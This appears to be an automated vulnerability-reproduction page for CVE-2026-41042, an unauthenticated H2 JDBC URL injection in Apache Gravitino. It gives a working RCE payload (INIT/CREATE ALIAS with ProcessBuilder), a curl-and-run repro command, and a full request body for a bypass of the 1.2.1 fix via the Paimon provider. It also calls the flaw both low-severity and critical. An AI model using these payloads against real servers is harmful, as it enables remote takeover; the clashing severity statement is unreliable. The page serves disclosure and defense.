Skip to content

CVE-2026-41042: Verified Repro With Script Download

CVE-2026-41042: Apache Gravitino unauthenticated H2 JDBC URL injection via testConnection API

CVE-2026-41042 is verified against apache/gravitino · github. Affected versions: Apache Gravitino before 1.2.1. Fixed in 1.2.1. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00276.

REPRO-2026-00276 apache/gravitino · github Variant found Jul 9, 2026 CVE entry ↗ .txt
Severity
CRITICAL
CVSS
9.1
Confidence
HIGH
Reproduced in
22m 47s
Tool calls
308
Spend
$5.32
01 · Overview

What Is CVE-2026-41042?

CVE-2026-41042 is a low-severity vulnerability in Apache Gravitino before 1.2.1 in which an unauthenticated caller can supply a malicious H2 JDBC URL through the testConnection API (or catalog creation) that executes arbitrary Java code on the server via H2's INIT parameter. Pruva reproduced it (reproduction REPRO-2026-00276).

02 · Severity & CVSS

CVE-2026-41042 Severity & CVSS Score

CVE-2026-41042 is rated critical severity, with a CVSS base score of 9.1 out of 10.

CRITICAL threat level
9.1 / 10 CVSS base
Weakness CWE-20 — Improper Input Validation

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected apache/gravitino Versions

apache/gravitino · github versions Apache Gravitino before 1.2.1 are affected.

How to Reproduce CVE-2026-41042

$ pruva-verify REPRO-2026-00276
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00276/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-41042

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

malicious H2 JDBC URL (jdbc:h2:mem:...;INIT=CREATE ALIAS ... ProcessBuilder ...) supplied unauthenticated via testConnection API catalog properties

Attack chain
  1. POST /api/metalakes/{metalake}/catalogs/testConnection
  2. CatalogManager.testConnection
  3. BaseCatalog.ops()
  4. JdbcCatalogOperations.initialize
  5. DataSourceUtils.createDataSource
  6. H2 driver opens connection and runs INIT
  7. CREATE ALIAS compiles+executes Java
  8. ProcessBuilder runs OS command
Runnable proof: reproduction_steps.sh
Captured evidence: fixed attempt 1fixed attempt 2fixed serverpaimon fixed server
Variants tested

Bypass of the CVE-2026-41042 fix: the same H2 INIT/CREATE ALIAS RCE is reachable on the fixed Gravitino 1.2.1 via the lakehouse-paimon catalog provider with catalog-backend=jdbc. Paimon opens the JDBC connection through its own JdbcCatalog (DriverManager.getConnection(uri)) and never calls the patched DataSourceUtils.…

How the agent worked 712 events · 308 tool calls · 23 min
23 minDuration
308Tool calls
194Reasoning steps
712Events
Agent activity over 23 min
Support
14
Hypothesis
2
Repro
333
Judge
23
Variant
185
Coding
150
0:0022:47

Root Cause and Exploit Chain for CVE-2026-41042

Versions: Apache Gravitino before 1.2.1 (confirmed on the

Apache Gravitino (before 1.2.1) exposes an unauthenticated REST endpoint POST /api/metalakes/{metalake}/catalogs/testConnection that lets a caller supply an arbitrary JDBC URL for a catalog connection test. Because no validation rejected H2 JDBC URLs or the H2 driver class, an attacker could supply a malicious jdbc:h2:...;INIT=... URL. H2's INIT connection parameter runs arbitrary SQL when the database is first opened, and H2's CREATE ALIAS ... AS '<java source>' compiles and executes arbitrary Java code inside the Gravitino server JVM. By combining CREATE ALIAS with Runtime/ProcessBuilder calls, an unauthenticated remote caller achieves arbitrary operating-system command execution on the server.

  • Package/component affected: org.apache.gravitino:gravitino-catalog-jdbc-common (DataSourceUtils.createDataSource), reached through the testConnection REST endpoint and the JDBC catalog operations (JdbcCatalogOperations.initialize).
  • Affected versions: Apache Gravitino before 1.2.1 (confirmed on the official 1.2.0 binary distribution; H2 1.4.200 is bundled).
  • Risk level / consequences: Remote code execution. The default server configuration uses the SimpleAuthenticator (accepts anonymous requests) and has gravitino.authorization.enable = false, so the endpoint is reachable without any credentials. The H2 driver is always on the server classpath (it is the default entity-store backend) and is treated as a "shared" class by the catalog IsolatedClassLoader, so attacker-supplied H2 URLs resolve to the bundled driver even for non-H2 catalog providers.

Impact Parity

  • Disclosed/claimed maximum impact: Remote code execution — "executes arbitrary Java code on the server via H2's INIT parameter", expected impact code_execution.
  • Reproduced impact from this run: Arbitrary OS command execution confirmed end-to-end through the unauthenticated REST API. The malicious testConnection call returned HTTP 200 / {"code":0} and a marker file containing the output of the id command (uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)) was written by a ProcessBuilder started from H2-compiled Java code running in the server JVM.
  • Parity: full.
  • Not demonstrated: N/A — the full code-execution chain was demonstrated.

Root Cause

DataSourceUtils.createDataSource(JdbcConfig) is the single entry point for all user-facing catalog JDBC connections. In the vulnerable version it performed no allow-listing of JDBC drivers/URLs: it passed the caller- controlled jdbc-url and jdbc-driver straight into a DBCP BasicDataSource. The shared validator JdbcUrlUtils.validateJdbcConfig only inspects MySQL/MariaDB/PostgreSQL URLs for unsafe parameters and intentionally does not touch H2 (H2 is the legitimate embedded entity-store backend). Consequently an H2 URL reached the driver untouched.

The call chain triggered by testConnection is:

CatalogOperations.testConnection (REST, @Path "testConnection")
  -> CatalogManager.testConnection
    -> CatalogWrapper.doWithCatalogOps
      -> BaseCatalog.ops()  (lazy initialize)
        -> JdbcCatalogOperations.initialize(conf, ...)
          -> DataSourceUtils.createDataSource(jdbcConfig)   <-- vulnerable
            -> BasicDataSource (url=jdbc:h2:mem:...;INIT=..., driver=org.h2.Driver)

When the pool opens its first connection (during JdbcCatalogOperations.testConnection -> databaseOperation.listDatabases()), H2 processes the INIT parameter. The payload INIT=CREATE ALIAS EXEC AS 'String f() throws Exception { new ProcessBuilder(...).start().waitFor(); ... }'\;CALL EXEC() compiles the Java source via the JDK compiler and invokes it, executing the attacker's OS command inside the server process.

Fix commit: 5daabcd0e8ddc96e25bd6c6ce7b153cdb311c3f2 ("[MINOR] fix(catalog): block H2 JDBC URL and driver in catalog datasource creation (#10801)"), cherry-picked to the 1.2 release branch as 84d3de9c7 and shipped in Gravitino 1.2.1. The fix adds a case-insensitive block in DataSourceUtils.createDataSource() that rejects any URL whose decoded form starts with jdbc:h2 and any driver class starting with org.h2., throwing GravitinoRuntimeException before the datasource is created.

Reproduction Steps

  1. Script: bundle/repro/reproduction_steps.sh (self-contained, idempotent, run twice consecutively — both runs pass with exit 0).
  2. What it does:
    • Installs OpenJDK 17 if needed.
    • Downloads/reuses the official Apache Gravitino binary distributions gravitino-1.2.0-bin.tar.gz (vulnerable) and gravitino-1.2.1-bin.tar.gz (fixed) from the GitHub release CDN (fallback: Apache archive).
    • For each version: extracts a clean copy, disables auxiliary services, starts the real gravitino.sh server, waits for the /api/version healthcheck, creates a metalake, and sends an unauthenticated POST /api/metalakes/test_ml/catalogs/testConnection with provider=jdbc-postgresql, jdbc-driver=org.h2.Driver, and a malicious jdbc-url whose INIT runs CREATE ALIAS + ProcessBuilder to execute id and write its output to a marker file. Two attempts are made per version (each attempt uses a fresh H2 in-memory DB name because H2 only runs INIT when a database is first created).
    • Captures per-attempt request/response logs, server logs, version JSON, and the RCE marker file under bundle/logs/.
    • Writes bundle/repro/runtime_manifest.json.
  3. Expected evidence:
    • Vulnerable 1.2.0: testConnection returns HTTP 200 {"code":0} and the marker file is created containing id output → RCE.
    • Fixed 1.2.1: testConnection returns HTTP 500 "H2 JDBC URL is not allowed in catalog configuration" (thrown at DataSourceUtils.createDataSource:54) and no marker file is created.

Evidence

  • bundle/logs/reproduction_steps.log — orchestrator log with verdict.
  • bundle/logs/vuln_version.json1.2.0, gitCommit 1c1665f0....
  • bundle/logs/fixed_version.json1.2.1, gitCommit e88bffcfc....
  • bundle/logs/vuln_attempt_1.log / vuln_attempt_2.logtestConnection_status: 200, testConnection_body: {"code":0}, marker_exists: True, marker_content: uid=1000(vscode) ....
  • bundle/logs/rce_marker_vuln_latest.txt — the file written by the attacker's OS command inside the server JVM.
  • bundle/logs/fixed_attempt_1.log / fixed_attempt_2.logtestConnection_status: 500, message "H2 JDBC URL is not allowed in catalog configuration", stack at DataSourceUtils.createDataSource(DataSourceUtils.java:54), marker_exists: False.
  • bundle/logs/vuln_server.log / fixed_server.log — server-side logs.
  • bundle/repro/runtime_manifest.json — runtime evidence manifest.

Key excerpts:

# Vulnerable 1.2.0 (unauthenticated)
vuln_a1 testConnection_status: 200
vuln_a1 testConnection_body: {"code":0}
vuln_a1 marker_exists: True
vuln_a1 marker_content: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)

# Fixed 1.2.1 (unauthenticated)
fixed_a1 testConnection_status: 500
fixed_a1 testConnection_body: {"code":1002,"type":"RuntimeException",
  "message":"H2 JDBC URL is not allowed in catalog configuration",
  "stack":["...DataSourceUtils.createDataSource(DataSourceUtils.java:54)",
           "...JdbcCatalogOperations.initialize(JdbcCatalogOperations.java:175)",...]}
fixed_a1 marker_exists: False

Environment: OpenJDK 17.0.19, official Apache Gravitino binary tarballs, H2 1.4.200 (bundled), Jetty 9, commons-dbcp2 2.11.0, default server config (SimpleAuthenticator, authorization disabled, H2 entity-store backend).

Recommendations / Next Steps

  • Upgrade to Apache Gravitino 1.2.1 or later, which blocks H2 JDBC URLs and the org.h2. driver class in DataSourceUtils.createDataSource().
  • Consider a positive allow-list of permitted JDBC URL schemes/drivers in catalog configuration rather than only blocking H2, and apply the same check at catalog creation time (not only testConnection).
  • In production deployments, enable authentication/authorization and use MySQL (not H2) for the entity store; restrict network exposure of the testConnection endpoint.
  • Add regression tests that assert a jdbc:h2:...;INIT=... URL and org.h2.Driver are rejected through the full REST testConnection path.

Additional Notes

  • Idempotency: confirmed — the script was run twice consecutively; both runs exited 0 with identical verdicts (vulnerable RCE confirmed on both attempts, fixed blocked on both attempts). Each run extracts into fresh directories and uses a unique H2 in-memory DB name per attempt.
  • Payload detail: every ; inside the H2 INIT value (including Java statement terminators) must be escaped as \;, because H2 uses ; as the URL parameter separator; unescaped ; truncates the URL and the INIT never runs. The jdbc-database property must also be supplied for the jdbc-postgresql provider (PostgreSqlSchemaOperations.initialize reads it before the test connection is opened).
  • The exploit does not require the catalog provider to be H2-aware: the H2 driver is a "shared" class (!isCatalogClass) so the catalog IsolatedClassLoader delegates org.h2.Driver to the server classloader, which always has it.

Variant Analysis & Alternative Triggers for CVE-2026-41042

Versions: versions (as tested): confirmed on the official binary

A true bypass of the CVE-2026-41042 fix was found and confirmed at runtime on the fixed Apache Gravitino 1.2.1 server (build commit e88bffcfc31b7a656c960245b63b1e4c4901b8ee). The official fix (commit 5daabcd0 / cherry-pick 84d3de9c7, shipped in 1.2.1) blocks H2 JDBC URLs and the org.h2. driver class only inside org.apache.gravitino.catalog.jdbc.utils.DataSourceUtils.createDataSource() — the sink used by the relational JDBC catalogs. The bypass reaches the exact same H2 INITCREATE ALIAS → compiled Java → ProcessBuilder RCE primitive through a different catalog provider, lakehouse-paimon with catalog-backend=jdbc, whose metastore backend opens the JDBC connection via Paimon's own org.apache.paimon.jdbc.JdbcCatalog (DriverManager.getConnection(uri, ...)). That code path never calls DataSourceUtils.createDataSource(), so the H2 block is never evaluated. The H2 driver stays reachable because IsolatedClassLoader.isSharedClass() delegates every non-Gravitino-catalog class (including org.h2.Driver) to the server classloader, which bundles libs/h2-1.4.200.jar. An unauthenticated caller (default SimpleAuthenticator, authorization disabled) supplies uri=jdbc:h2:mem:<rand>;INIT=CREATE ALIAS EXEC AS '...ProcessBuilder("id > marker")...' via POST /api/metalakes/{ml}/catalogs/testConnection and obtains arbitrary OS command execution inside the server JVM. The attacker's id output was written to a marker file from within the fixed server, on two consecutive attempts, in two independent script runs.

Fix Coverage / Assumptions

  • Invariant the fix relies on: "DataSourceUtils.createDataSource() is the entry point for all user-facing catalog JDBC connections" (quoted from the PR description). If true, blocking H2 there protects every user-reachable JDBC connection.
  • Code paths the fix explicitly covers: relational JDBC catalogs that go through JdbcCatalogOperations.initialize()DataSourceUtils.createDataSource() — i.e. jdbc-mysql, jdbc-postgresql, jdbc-doris, jdbc-starrocks. The check is applied for both catalog creation and testConnection (both call ops()/initialize()). The check is robust against URL-encoding (recursiveDecode, up to 5 rounds) and case (toLowerCase()); an H2 URL whose original form is accepted by H2 must, after lowercasing+decoding, start with jdbc:h2, so the URL check is sound for the relational path.
  • What the fix does NOT cover: any catalog provider that opens a JDBC connection from user-supplied properties without going through DataSourceUtils. lakehouse-paimon (catalog-backend=jdbc) is one such provider: it hands the raw uri to Paimon's CatalogFactory.createCatalogJdbcCatalog, which calls DriverManager.getConnection(uri) directly.

Variant / Alternate Trigger

Entry point (unauthenticated): POST /api/metalakes/{metalake}/catalogs/testConnection with

{
  "name": "evil_paimon_catalog",
  "type": "RELATIONAL",
  "provider": "lakehouse-paimon",
  "comment": "test",
  "properties": {
    "catalog-backend": "jdbc",
    "uri": "jdbc:h2:mem:<rand>;INIT=CREATE ALIAS EXEC AS 'String f() throws Exception { new ProcessBuilder(new String[]{\"sh\",\"-c\",\"id > <MARKER>\"}).start().waitFor(); return \"ok\"; }';CALL EXEC()",
    "jdbc-driver": "org.h2.Driver",
    "jdbc-user": "test",
    "jdbc-password": "test",
    "warehouse": "/tmp/paimon_wh"
  }
}

(; inside the H2 INIT value is escaped as \; per H2 URL syntax.) No Authorization header is sent — the default SimpleAuthenticator accepts anonymous requests and gravitino.authorization.enable=false.

Code path (files / functions):

  • catalogs/catalog-lakehouse-paimon/.../PaimonCatalogOperations.javainitialize() (~line 120) builds new PaimonCatalogOps(new PaimonConfig(...)); testConnection() (~line 150) calls paimonCatalogOps.listDatabases().
  • catalogs/catalog-lakehouse-paimon/.../ops/PaimonCatalogOps.java — constructor (~line 48) calls CatalogUtils.loadCatalogBackend(paimonConfig).
  • catalogs/catalog-lakehouse-paimon/.../utils/CatalogUtils.javaloadCatalogBackend (~line 59) → loadCatalogBackendWithSimpleAuth (~line 115) → checkPaimonConfig does Class.forName(driverClassName) (~line 143) for metastore=jdbc, then CatalogFactory.createCatalog(catalogContext) (Paimon).
  • org.apache.paimon.jdbc.JdbcCatalogFactory.createorg.apache.paimon.jdbc.JdbcCatalog.<init> (JdbcCatalog.java:98) → DriverManager.getConnection(uri, user, pw)H2 INIT fires.

The server-side stack captured on the fixed 1.2.1 server (from bundle/logs/vuln_variant/paimon_fixed_server.log) confirms exactly this chain and shows the DataSourceUtils H2-block messages never appear:

java.lang.RuntimeException: Failed to connect: jdbc:h2:mem:paimonrce...;INIT=CREATE ALIAS EXEC AS '...'
  at org.apache.paimon.jdbc.JdbcCatalog.<init>(JdbcCatalog.java:98)
  at org.apache.paimon.jdbc.JdbcCatalogFactory.create(JdbcCatalogFactory.java:42)
  at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackendWithSimpleAuth(CatalogUtils.java:115)
  at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackend(CatalogUtils.java:59)
  at org.apache.gravitino.catalog.lakehouse.paimon.ops.PaimonCatalogOps.<init>(PaimonCatalogOps.java:48)
  at org.apache.gravitino.catalog.lakehouse.paimon.PaimonCatalogOperations.initialize(PaimonCatalogOperations.java:120)

grep -c "H2 JDBC URL is not allowed\|H2 JDBC driver is not allowed" on the fixed server log = 0.

This is a bypass (reproduces on the patched/fixed ref), not merely an alternate trigger on the vulnerable ref: the same payload achieves RCE on 1.2.1 because the fix does not cover this path.

  • Package/component affected: the H2 INIT/CREATE ALIAS RCE primitive, reached via catalog-lakehouse-paimon's JDBC metastore backend (PaimonCatalogOperations/PaimonCatalogOps/CatalogUtils → Paimon JdbcCatalog). The shared enabler is core/.../utils/IsolatedClassLoader (treats org.h2.* as a shared/server class) plus the bundled libs/h2-1.4.200.jar.
  • Affected versions (as tested): confirmed on the official binary distributions 1.2.0 (build 1c1665f05e24f69833bcedfb0e6dc6b477f95dc4) and 1.2.1 (build e88bffcfc31b7a656c960245b63b1e4c4901b8ee). 1.2.1 is the version that contains the fix, so the 1.2.1 result constitutes the bypass.
  • Risk level / consequences: Remote code execution (arbitrary OS command execution) by an unauthenticated remote caller, in the default deployment (SimpleAuthenticator, authorization disabled, H2 entity-store backend). Same severity class and same primitive as the original CVE.

Impact Parity

  • Disclosed/claimed maximum impact (parent CVE): arbitrary Java code execution on the server via H2's INIT parameter → code_execution.
  • Reproduced impact from this variant run: arbitrary OS command execution (id) inside the fixed 1.2.1 server JVM, proven by a marker file written by the attacker's ProcessBuilder containing the real uid=... output.
  • Parity: full. Same primitive (H2 INIT → CREATE ALIAS → Java → OS command), same unauthenticated trust boundary, same default-config reachability. The only difference is the catalog-provider entry point.
  • Not demonstrated here: persistence / post-exploitation; a reverse shell (trivially substituted for id via the same ProcessBuilder primitive, but out of scope for a proof).

Root Cause

The original bug: Gravitino passes an unauthenticated, user-controlled JDBC URL to a JDBC driver at connection time, and the bundled H2 driver executes arbitrary code from URL parameters (INITCREATE ALIAS AS '<java>').

The fix assumed DataSourceUtils.createDataSource() is the only such connection point and blocked H2 there. That assumption is wrong: catalog providers may open JDBC connections through their own third-party libraries. Paimon's JdbcCatalog is one example — it receives the raw uri and calls DriverManager.getConnection(uri) itself. Because the H2 driver is a shared class (IsolatedClassLoader.isSharedClass!isCatalogClass → delegated to the server classloader, which has h2-1.4.200.jar), Class.forName("org.h2.Driver") from the Paimon provider succeeds and H2 accepts the jdbc:h2:... URL, so INIT fires and the identical RCE executes — on the patched 1.2.1 server.

Fix commit (main): 5daabcd0e8ddc96e25bd6c6ce7b153cdb311c3f2; cherry-pick to branch-1.2: 84d3de9c7c436fbdac72b5f7a1163e65e0580fe2 (shipped in 1.2.1).

Reproduction Steps

  1. Script: bundle/vuln_variant/reproduction_steps.sh (self-contained, idempotent).
  2. What it does:
    • Reuses/downloads the official gravitino-1.2.0-bin.tar.gz (vulnerable) and gravitino-1.2.1-bin.tar.gz (fixed) binary distributions.
    • For each version: extracts a clean copy, disables auxiliary services, starts the real gravitino.sh server, waits for the /api/version healthcheck, creates a metalake, and sends an unauthenticated POST /api/metalakes/test_ml/catalogs/testConnection with provider=lakehouse-paimon, catalog-backend=jdbc, jdbc-driver=org.h2.Driver, and a malicious uri whose H2 INIT runs CREATE ALIAS + ProcessBuilder to execute id and write its output to a marker file. Two attempts per version (each uses a fresh H2 in-memory DB name, since H2 runs INIT only when a DB is first created).
    • Captures per-attempt request/response logs, server logs, version JSON, and the RCE marker files under bundle/logs/vuln_variant/.
  3. Expected evidence:
    • Vulnerable 1.2.0: marker created (uid=...) → RCE (same primitive, additional entry point).
    • Fixed 1.2.1: marker created (uid=...) → BYPASS. The HTTP response is 500 with "Failed to connect: jdbc:h2:mem:...;INIT=CREATE ALIAS ..." (Paimon wrapping the H2 connection), and crucially the response/server log do not contain "H2 JDBC URL is not allowed" (the DataSourceUtils block), proving the request never hit the patched sink.

Evidence

  • bundle/logs/vuln_variant/variant_repro.log — orchestrator log + verdict (both runs).
  • bundle/logs/vuln_variant/vuln_version.json1.2.0, gitCommit 1c1665f05e24f69833bcedfb0e6dc6b477f95dc4.
  • bundle/logs/vuln_variant/fixed_version.json1.2.1, gitCommit e88bffcfc31b7a656c960245b63b1e4c4901b8ee.
  • bundle/logs/vuln_variant/paimon_vuln_attempt_{1,2}.logmarker_exists: True, marker_content: uid=1000(vscode) ..., datasourceutils_h2_block_fired: False.
  • bundle/logs/vuln_variant/paimon_fixed_attempt_{1,2}.logmarker_exists: True, marker_content: uid=1000(vscode) ..., datasourceutils_h2_block_fired: False (the bypass).
  • bundle/logs/vuln_variant/rce_marker_paimon_fixed_latest.txt — the file written by the attacker's OS command inside the fixed server JVM: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode).
  • bundle/logs/vuln_variant/paimon_fixed_server.log — server-side stack showing PaimonCatalogOperations.initializePaimonCatalogOpsCatalogUtilsJdbcCatalogFactory.createJdbcCatalog.<init>, with zero DataSourceUtils H2-block messages (excerpt saved to bundle/logs/vuln_variant/fixed_bypass_stack_excerpt.txt).
  • bundle/logs/vuln_variant/variant_run_stdout.log / variant_run_stdout_2.log — two full script runs (both exit 0).

Key excerpts (fixed 1.2.1, unauthenticated):

fixed_paimon_a1 testConnection_status: 500
fixed_paimon_a1 testConnection_body: {"code":1002,"type":"RuntimeException",
  "message":"Failed to connect: jdbc:h2:mem:paimonrce...;INIT=CREATE ALIAS EXEC AS '...ProcessBuilder...id > ...marker...'..."}
fixed_paimon_a1 marker_exists: True
fixed_paimon_a1 marker_content: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)
fixed_paimon_a1 datasourceutils_h2_block_fired: False

Environment: OpenJDK 17.0.19, official Apache Gravitino binary tarballs, H2 1.4.200 (bundled), Paimon JdbcCatalog (bundled in catalogs/lakehouse-paimon), Jetty 9, default server config (SimpleAuthenticator, authorization disabled, H2 entity-store backend).

Recommendations / Next Steps

  • Move the H2/JDBC-URL allow-list out of DataSourceUtils.createDataSource() into the shared JdbcUrlUtils.validateJdbcConfig() (gated so the internal entity store can still use H2), and make every provider that opens a JDBC connection from user-supplied properties call it. At minimum, add the check to Paimon's CatalogUtils.checkPaimonConfig / loadCatalogBackendWithSimpleAuth (reject uri decoded+lowercased starting with jdbc:h2 and jdbc-driver starting with org.h2. for catalog-backend=jdbc).
  • Apply the same validation at the lakehouse-paimon PropertiesMetadata / transformProperties layer so it covers both testConnection and catalog creation.
  • Audit other providers that open JDBC connections outside DataSourceUtils (e.g. Iceberg JdbcCatalog if exposed, JdbcPartitionStatisticStorageFactory) and route them through the same validator; prefer a positive allow-list of JDBC URL schemes/drivers rather than only blocking H2.
  • Reconsider whether org.h2.* should be a shared class for catalog classloaders (the URL/driver allow-list is the more general fix, but un-sharing H2 would also remove the primitive).

Additional Notes

  • Idempotency: confirmed — reproduction_steps.sh was run twice consecutively; both runs exited 0 with identical verdicts (vulnerable RCE on both attempts, fixed bypass on both attempts). Each run extracts into fresh directories and uses a unique H2 in-memory DB name per attempt.
  • Payload detail: every ; inside the H2 INIT value (Java statement terminators and the CREATE ALIAS/CALL separator) is escaped as \;; the Java source is wrapped in single quotes (H2 requirement). The 500 / "Failed to connect" response is expected and does not negate the RCE — H2 runs INIT (compiling and invoking the alias) during the connection open, before Paimon's later table-initialisation SQL raises; the marker is written regardless.
  • Why this is a valid variant/bypass and not a relabelled duplicate: the entry point (catalog provider + properties) is materially different (lakehouse-paimon/catalog-backend=jdbc/uri vs jdbc-postgresql/ jdbc-url), the connection sink is different code (Paimon JdbcCatalog vs Gravitino DataSourceUtils), and the fix that the parent CVE shipped does not cover it — demonstrated by reproduction on the fixed ref.

CVE-2026-41042 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:000:49
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-41042 · REPRO-20
0:02
0:03
web search
0:05
web search
0:07
0:09
0:11
web search
0:23
0:23
extract_facts
no facts extracted
0:24
0:24
0:24
supportrepro
0:37
0:39
0:39
0:39
0:40
0:40
0:40
0:42
0:42
0:42
0:43
0:43
0:43
0:43
0:45
0:47
web search
0:47
0:49
08 · How to Fix

How to Fix CVE-2026-41042

Upgrade apache/gravitino · github to 1.2.1 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-41042 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-41042

How does the CVE-2026-41042 exploit work?

An unauthenticated caller sends a JDBC URL to the REST endpoint POST /api/metalakes/{metalake}/catalogs/testConnection. Because the URL isn't validated, an H2 URL with an INIT=CREATE ALIAS ... AS '<java source>' clause compiles and executes arbitrary Java code inside the Gravitino server JVM at connection time, which can then invoke Runtime/ProcessBuilder to run OS commands.

Which Apache Gravitino versions are affected by CVE-2026-41042, and where is it fixed?

Apache Gravitino before 1.2.1 is affected. It is fixed in 1.2.1 — upgrade to 1.2.1 or later.

How severe is CVE-2026-41042?

The record rates this as low severity, though the reachable code path (an unauthenticated REST endpoint reaching H2's INIT/CREATE ALIAS mechanism) results in arbitrary code execution in the server JVM, per the technical analysis.

How can I reproduce CVE-2026-41042?

Download the verified script from this page and run it in an isolated environment against Apache Gravitino before 1.2.1. It submits a crafted H2 JDBC URL with an INIT parameter to the testConnection API and shows the resulting Java/OS code execution inside the Gravitino server.
11 · References

References for CVE-2026-41042

Authoritative sources for CVE-2026-41042 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.